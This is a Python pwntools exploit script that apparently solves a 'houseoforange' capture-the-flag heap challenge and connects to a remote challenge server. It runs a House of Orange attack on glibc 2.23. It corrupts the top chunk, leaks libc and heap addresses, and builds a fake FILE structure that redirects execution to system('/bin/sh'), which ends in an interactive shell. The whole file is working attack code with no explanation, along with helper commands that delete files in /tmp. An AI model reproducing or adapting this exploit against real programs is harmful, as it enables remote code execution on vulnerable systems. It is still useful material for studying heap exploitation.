| 
 
 from pwn import *
 import os
 import struct
 import random
 import time
 import sys
 import signal
 
 salt = ''
 
 def clear(signum=None, stack=None):
 print('Strip  all debugging information')
 os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
 exit(0)
 
 
 
 
 
 try:
 gdb_symbols = '''
 
 '''
 
 f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
 f.write(gdb_symbols)
 f.close()
 os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
 
 except Exception as e:
 print(e)
 
 context.arch = "amd64"
 
 
 execve_file = './houseoforange'
 sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
 
 sh = remote('eonew.cn', 60107)
 elf = ELF(execve_file)
 libc = ELF('./libc-2.23.so')
 
 
 
 try:
 gdbscript = '''
 # b malloc.c:3472
 # b malloc.c:5007
 # b libc_fatal.c:141
 # b abort
 b genops.c:779
 '''
 
 f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
 f.write(str(proc.pidof(sh)[0]))
 f.close()
 
 f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
 f.write(gdbscript)
 f.close()
 except Exception as e:
 print(e)
 
 def Build(length, name):
 sh.sendlineafter('Your choice : ', '1')
 sh.sendlineafter('Length of name :', str(length))
 sh.sendafter('Name :', name)
 sh.sendlineafter('Price of Orange:', '1')
 sh.sendlineafter('Color of Orange:', '1')
 
 def Upgrade(length, name):
 sh.sendlineafter('Your choice : ', '3')
 sh.sendlineafter('Length of name :', str(length))
 sh.sendafter('Name:', name)
 sh.sendlineafter('Price of Orange:', '1')
 sh.sendlineafter('Color of Orange:', '1')
 
 Build(0x3f8, '\n')
 
 Upgrade(0x500, 'a' * 0x410 + p64(0) + p64(0xbc0))
 Build(0x1000, '\n')
 
 
 Build(0x3f8, 'b' * 8)
 
 
 sh.sendlineafter('Your choice : ', '2')
 sh.recvuntil('b' * 8)
 result = sh.recvline()[:-1]
 main_arena_addr = u64(result.ljust(8, '\0')) - 0x618
 log.success('main_arena_addr: ' + hex(main_arena_addr))
 
 
 libc_addr = main_arena_addr - 0x3c4b20
 log.success('libc_addr: ' + hex(libc_addr))
 
 Upgrade(0x100, 'c' * 0x10)
 
 
 sh.sendlineafter('Your choice : ', '2')
 sh.recvuntil('c' * 0x10)
 result = sh.recvline()[:-1]
 heap_addr = u64(result.ljust(8, '\0')) - 0x4a0
 log.success('heap_addr: ' + hex(heap_addr))
 
 layout = [
 'd' * 0x410,
 
 '/bin/sh\0', p64(0x61),
 p64(0), p64(main_arena_addr + 0xa00 - 0x10),
 p64(2), p64(3),
 
 'z' * 8, p64(0),
 p64(0), p64(libc_addr + libc.symbols['system']),
 
 'e' * 0x70,
 p64(0), p64(0),
 
 p64(0), p64(heap_addr + 0x8f0)
 ]
 
 Upgrade(0x1000, flat(layout))
 
 sh.sendlineafter('Your choice : ', '1')
 
 
 
 
 sh.interactive()
 clear()
 
 |